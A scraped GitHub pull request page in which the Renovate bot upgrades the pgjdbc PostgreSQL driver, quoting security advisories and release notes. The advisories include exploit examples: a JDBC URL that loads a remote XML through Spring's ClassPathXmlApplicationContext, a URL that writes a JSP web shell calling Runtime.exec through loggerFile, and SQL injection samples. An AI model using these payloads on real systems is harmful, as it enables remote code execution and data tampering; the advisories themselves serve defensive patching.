Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix");
}
} catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY] - #62
Open
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Open
Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]#62
renovate[bot] wants to merge 1 commit into
masterfrom 
renovate/maven-org.postgresql-postgresql-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 16, 2023•

edited

Loading

Copy link


Copy Markdown

ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
PackageChangeAgeConfidence
org.postgresql:postgresql (source)42.2.23 → 42.7.11ageconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
CVE-2022-21724 / GHSA-v7wg-cpwc-24m4
More information
Details
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Severity
  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc Arbitrary File Write Vulnerability
GHSA-673j-qm5f-xpv8
More information
Details
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter

"jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Severity
Medium
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Path traversal in org.postgresql:postgresql
CVE-2022-26520 / GHSA-727h-hrw8-jg8q
More information
Details
In pgjdbc before 42.3.3, an attacker (who controls the jdbc URL or properties) can call java.util.logging.FileHandler to write to arbitrary files through the loggerFile and loggerLevel connection properties. An example situation is that an attacker could create an executable JSP file under a Tomcat web root. NOTE: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
Severity
Low
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names
CVE-2022-31197 / GHSA-r38f-c4h4-hqq2
More information
Details
Impact
What kind of vulnerability is it? Who is impacted?
The PGJDBC implementation of the java.sql.ResultRow.refreshRow() method is not performing escaping of column names so a malicious column name that contains a statement terminator, e.g. ;, could lead to SQL injection. This could lead to executing additional SQL commands as the application's JDBC user.
User applications that do not invoke the ResultSet.refreshRow() method are not impacted.
User application that do invoke that method are impacted if the underlying database that they are querying via their JDBC application may be under the control of an attacker. The attack requires the attacker to trick the user into executing SQL against a table name who's column names would contain the malicious SQL and subsequently invoke the refreshRow() method on the ResultSet.
For example:
CREATETABLErefresh_row_example (
id intPRIMARY KEY,
"1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * "int
);
This example has a table with two columns. The name of the second column is crafted to contain a statement terminator followed by additional SQL. Invoking the ResultSet.refreshRow() on a ResultSet that queried this table, e.g. SELECT * FROM refresh_row, would cause the additional SQL commands such as the SELECT pg_sleep(10) invocation to be executed.
As the multi statement command would contain multiple results, it would not be possible for the attacker to get data directly out of this approach as the ResultSet.refreshRow() method would throw an exception. However, the attacker could execute any arbitrary SQL including inserting the data into another table that could then be read or any other DML / DDL statement.
Note that the application's JDBC user and the schema owner need not be the same. A JDBC application that executes as a privileged user querying database schemas owned by potentially malicious less-privileged users would be vulnerable. In that situation it may be possible for the malicious user to craft a schema that causes the application to execute commands as the privileged user.
Patches
Has the problem been patched? What versions should users upgrade to?
Yes, versions 42.2.26, 42.3.7, and 42.4.1 have been released with a fix.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check that you are not using the ResultSet.refreshRow() method.
If you are, ensure that the code that executes that method does not connect to a database that is controlled by an unauthenticated or malicious user. If your application only connects to its own database with a fixed schema with no DDL permissions, then you will not be affected by this vulnerability as it requires a maliciously crafted schema.
Severity
  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
TemporaryFolder on unix-like systems does not limit access to created files
CVE-2022-41946 / GHSA-562r-vg33-8x8h
More information
Details
Vulnerability
PreparedStatement.setText(int, InputStream)

and
PreparedStatemet.setBytea(int, InputStream)
will create a temporary file if the InputStream is larger than 51k
Example of vulnerable code:
Strings = "some very large string greater than 51200 bytes";
PreparedStatement.setInputStream(1, newByteArrayInputStream(s.getBytes()) );
This will create a temporary file which is readable by other users on Unix like systems, but not MacOS.
Impact

On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.
This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.
When analyzing the impact of this vulnerability, here are the important questions to ask:
Is the driver running in an environment where the OS has other untrusted users.

If yes, and you answered 'yes' to question 1, this vulnerability impacts you.

If no, this vulnerability does not impact you.

Patches

Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.
Java 1.8 and higher users: this vulnerability is fixed in 42.2.27, 42.3.8, 42.4.3, 42.5.1

Java 1.7 users: this vulnerability is fixed in 42.2.27.jre7

Java 1.6 and lower users: no patch is available; you must use the workaround below.

Workarounds

If you are unable to patch, or are stuck running on Java 1.6, specifying the java.io.tmpdir system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.
References
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Fix commit pgjdbc/pgjdbc@9008dc9

Similar Vulnerabilities

Google Guava - https://github.com/google/guava/issues/4011

Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945

JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824
Severity
  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
org.postgresql:postgresql vulnerable to SQL Injection via line comment generation
CVE-2024-1597 / GHSA-24rp-q3w6-vc56
More information
Details
Impact
SQL injection is possible when using the non-default connection property preferQueryMode=simple in combination with application code that has a vulnerable SQL that negates a parameter value.
There is no vulnerability in the driver when using the default query mode. Users that do not override the query mode are not impacted.
Exploitation
To exploit this behavior the following conditions must be met:
  1. A placeholder for a numeric value must be immediately preceded by a minus (i.e. -)
  2. There must be a second placeholder for a string value after the first placeholder on the same line.
  3. Both parameters must be user controlled.
The prior behavior of the driver when operating in simple query mode would inline the negative value of the first parameter and cause the resulting line to be treated as a -- SQL comment. That would extend to the beginning of the next parameter and cause the quoting of that parameter to be consumed by the comment line. If that string parameter includes a newline, the resulting text would appear unescaped in the resulting SQL.
When operating in the default extended query mode this would not be an issue as the parameter values are sent separately to the server. Only in simple query mode the parameter values are inlined into the executed SQL causing this issue.
Example
PreparedStatementstmt = conn.prepareStatement("SELECT -?, ?");
stmt.setInt(1, -1);
stmt.setString(2, "\nWHERE false --");
ResultSetrs = stmt.executeQuery();
The resulting SQL when operating in simple query mode would be:
SELECT--1,'WHERE false --'
The contents of the second parameter get injected into the command. Note how both the number of result columns and the WHERE clause of the command have changed. A more elaborate example could execute arbitrary other SQL commands.
Patch
Problem will be patched upgrade to 42.7.2, 42.6.1, 42.5.5, 42.4.4, 42.3.9, 42.2.28, 42.2.28.jre7
The patch fixes the inlining of parameters by forcing them all to be serialized as wrapped literals. The SQL in the prior example would be transformed into:
SELECT-('-1'::int4), ('WHERE false --')
Workarounds
Do not use the connection propertypreferQueryMode=simple. (NOTE: If you do not explicitly specify a query mode then you are using the default of extended and are not impacted by this issue.)
Severity
  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS
CVE-2026-42198 / GHSA-98qh-xjc8-98pq
More information
Details
Summary
pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact
A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.

With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.

A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
  1. The connection uses SCRAM-SHA-256 authentication.
  2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint.
  3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
  • the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control
  • the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources
  • the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised
  • the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server
  • an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection
  • an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches
The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
  1. Only connect to trusted PostgreSQL servers whose identity is verified.
    
Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.
    
TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
  2. Do not rely on loginTimeout as a complete mitigation on unpatched versions.
    
On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
  3. Avoid SCRAM on untrusted or interceptable connection paths.
    
For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
  4. Reduce blast radius operationally.
    
Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
  5. On trusted servers you control, keep SCRAM iteration counts at ordinary values.
    
This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Severity
  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pgjdbc/pgjdbc (org.postgresql:postgresql)
v42.7.11
Security
  • fix: Limit SCRAM PBKDF2 iterations accepted from the server.
    
pgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.
    
See the Security Advisory for more detail.
    
The following CVE-2026-42198 has been issued.
Added
  • feat: implement require_auth connection property, aligning with libpq behavior PR #​3895
Changed
  • chore: replace Appveyor CI with ikalnytskyi/action-setup-postgres PR #​3966
  • chore: upgrade Gradle to v9 PR #​3978
Fixed
  • fix: ensure extended protocol messages end with Sync message PR #​3728
  • fix: enable cursor-based fetching in extended protocol when transaction started via SQL command PR #​3996
  • fix: retry with SSL on IOException when sslMode=ALLOW PR #​3973
  • fix: make sure the driver honours connectTimeout when retrying the connection PR #​3968
  • fix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in PR #​3968
  • fix: catch SecurityException from setContextClassLoader on ForkJoinPool workers PR #​3962
  • fix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly PR #​3961
  • fix: release COPY lock on IOException to prevent connection hang PR #​3957
  • fix: return jsonb as PGObject instead of String PR #​3956
  • fix: align SSL key file permission check with libpq PR #​3952
  • fix: guard connection closed flag with a reentrant lock to protect against concurrent close PR #​3905
v42.7.10
Changed
  • chore: Migrate to Shadow 9 PR 3931
  • style: fix empty line before javadoc for checkstyle compliance PR #​3925
  • style: fix lambda argument indentation for checkstyle compliance PR #​3922
  • test: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs PR #​3917
Fixed
  • fix: non-standard strings failing test for version 19 PR #​3934
  • fix: small issues in ConnectionFactoryImpl PR #​3929
  • fix: process pending responses before fastpath to avoid protocol errors PR # 3913
  • doc: use.md, fix typos PR #​3911
  • doc: datasource.md, fix minor formatting issue PR #​3912
  • doc: add the new PGP signing key to the official documentation PR #​3912
Reverted
v42.7.9
Compare Source
Added
  • feat: query timeout property PR #​3705
  • feat: Add PEMKeyManager to handle PEM based certs and keys PR #​3700
Changed
  • perf: optimize PGInterval.getValue() by replacing String.format with StringBuilder
  • doc: update property quoteReturningIdentifiers default value PR #​3847
  • security: Use a static method forName to load all user supplied classes. Use the Class.forName 3 parameter method and do not initilize it unless it is a subclass of the expected class
Fixed
  • fix: incorrect pg_stat_replication.reply_time calculation PR #​3906
  • fix: close temporary lob descriptors that are used internally in PreparedStatement#setBlob
  • fix: PGXAConnection.prepare(Xid) should return XA_RDONLY if the connection is read only PR #​3897
  • fix: make all Calendar instances proleptic Gregorian PR #​3837
  • fix: Simplify concurrency guards on QueryExecutorBase#transaction and QueryExecutorBase#standardConformingStrings PR #​3897
  • fix: avoid memory leaks in Java <= 21 caused by Thread.inheritedAccessControlContext PR #​3886
  • fix: Issue #​3784 pgjdbc can't decode numeric arrays containing special numbers like NaN PR #​3838
  • fix: use ssl_is_used() to check for ssl connection PR #​3867
  • fix: the classloader is nullable PR #​3907
v42.7.8
Compare Source
Added
  • feat: Add configurable boolean-to-numeric conversion for ResultSet getters PR #​3796
Changed
  • perf: remove QUERY_ONESHOT flag when calling getMetaData PR #​3783
  • perf: use BufferedInputStream with FileInputStreamPR #​3750
  • perf: enable server-prepared statements for DatabaseMetaData
Fixed
  • fix: avoid NullPointerException when cancelling a query if cancel key is not known yet
  • fix: Change "PST" timezone in TimestampTest to "Pacific Standard Time" PR #​3774
  • fix: traverse the current dimension to get the correct pos in PgArray#calcRemainingDataLength PR #​3746
  • fix: make sure getImportedExportedKeys returns columns in consistent order
  • fix: Add "SELF_REFERENCING_COL_NAME" field to getTables' ResultSetMetaData to fix NullPointerException PR #​3660
  • fix: unable to open replication connection to servers < 12
  • fix: avoid closing statement caused by driver's internal ResultSet#close()
  • fix: return empty metadata for empty catalog names as it was before
  • fix: Incorrect class comparison in PGXmlFactoryFactory validation
v42.7.7
Security
  • security: Client Allows Fallback to Insecure Authentication Despite channelBinding=require configuration.
    
Fix channel binding required handling to reject non-SASL authentication
    
Previously, when channel binding was set to "require", the driver would silently ignore this
    
requirement for non-SASL authentication methods. This could lead to a false sense of security
    
when channel binding was explicitly requested but not actually enforced. The fix ensures that when
    
channel binding is set to "require", the driver will reject connections that use
    
non-SASL authentication methods or when SASL authentication has not completed properly.
    
See the Security Advisory for more detail. Reported by George MacKerron
    
The following CVE-2025-49146 has been issued
Added
  • test: Added ChannelBindingRequiredTest to verify proper behavior of channel binding settings
v42.7.6
Features
  • fix: Enhanced DatabaseMetadata.getIndexInfo() method, added index comment as REMARKS property PR #​3513
Performance Improvements
  • performance: Improve ResultSetMetadata.fetchFieldMetaData by using IN row values instead of UNION ALL for improved query performance (later reverted) PR #​3510
  • feat:Use a single simple query for all startup parameters, so groupStartupParameters is no longer needed PR #​3613
v42.7.5
Added
Fixed
  • regression: revert change in fc60537PR #​3476
  • fix: PgDatabaseMetaData implementation of catalog as param and return value PR #​3390
  • fix: Support default GSS credentials in the Java Postgres client PR #​3451
  • fix: return only the transactions accessible by the current_user in XAResource.recover PR #​3450
  • feat: don't force send extra_float_digits for PostgreSQL >= 12 fix Issue #​3432PR #​3446
  • fix: exclude "include columns" from the list of primary keys PR #​3434
  • perf: Enhance the meta query performance by specifying the oid. PR #​3427
  • feat: support getObject(int, byte[].class) for bytea PR #​3274
  • docs: document infinity and some minor edits PR #​3407
  • fix: Added way to check for major server version, fixed check for RULE PR #​3402
  • docs: fixed remaining paragraphs PR #​3398
  • docs: fixed paragraphs in javadoc comments PR #​3397
  • fix: Reuse buffers and reduce allocations in GSSInputStream addresses Issue #​3251PR #​3255
  • chore: Update Gradle to 8.10.2 PR #​3388
  • fix: getSchemas() PR #​3386
  • fix: Update rpm postgresql-jdbc.spec.tpl with scram-client PR #​3324
  • fix: Clearing thisRow and rowBuffer on close() of ResultSet Issue #​3383PR #​3384
  • fix: Package was renamed to maven-bundle-plugin PR #​3382
  • fix: As of version 18 the RULE privilege has been removed PR #​3378
  • fix: use buffered inputstream to create GSSInputStream PR #​3373
  • test: get rid of 8.4, 9.0 pg versions and use >= jdk version 17 PR #​3372
  • Changed docker-compose version and renamed script file in instructions to match the real file name PR #​3363
  • test:Do not assume "test" database in DatabaseMetaDataTransactionIsolationTest PR #​3364
  • try to categorize dependencies PR #​3362
v42.7.4
Added
  • chore: SCRAM dependency to 3.1 and support channel binding PR #​3188
  • chore: Add PostgreSQL 15, 16, and 17beta1 to CI tests PR #​3299
  • test: Update to 17beta3 PR #​3308
  • chore: Implement direct SSL ALPN connections PR #​3252
  • translation: Add Korean translation file PR #​3276
Fixed
  • fix: PgInterval ignores case for represented interval string PR #​3344
  • perf: Avoid extra copies when receiving int4 and int2 in PGStream PR #​3295
  • fix: Add support for Infinity::numeric values in ResultSet.getObject PR #​3304
  • fix: Ensure order of results for getDouble PR #​3301
  • perf: Replace BufferedOutputStream with unsynchronized PgBufferedOutputStream, allow configuring different Java and SO_SNDBUF buffer sizes PR #​3248
  • fix: Fix SSL tests PR #​3260
  • fix: Support bytea in preferQueryMode=simple PR #​3243
  • fix: Fix #​3234 - Return -1 as update count for stored procedure calls PR #​3235
  • fix: Fix #​3224 - conversion for TIME '24:00' to LocalTime breaks in binary-mode PR #​3225
  • perf: Speed up getDate by parsing bytes instead of String PR #​3141
  • fix: support PreparedStatement.setBlob(1, Blob) and PreparedStatement.setClob(1, Clob) for lobs that return -1 for length PR #​3136
  • fix: Validates resultset Params in PGStatement constructor. uses assertThro… PR #​3171
  • fix: Validates resultset parameters PR #​3167
  • docs: Replace greater to with greater than PR #​3315
  • docs: Clarify binaryTransfer and prepareThreshold PR #​3338
  • docs: use.md, typo PR #​3314
  • test: Use docker v2 which changes docker-compose to docker compose #​3339
  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
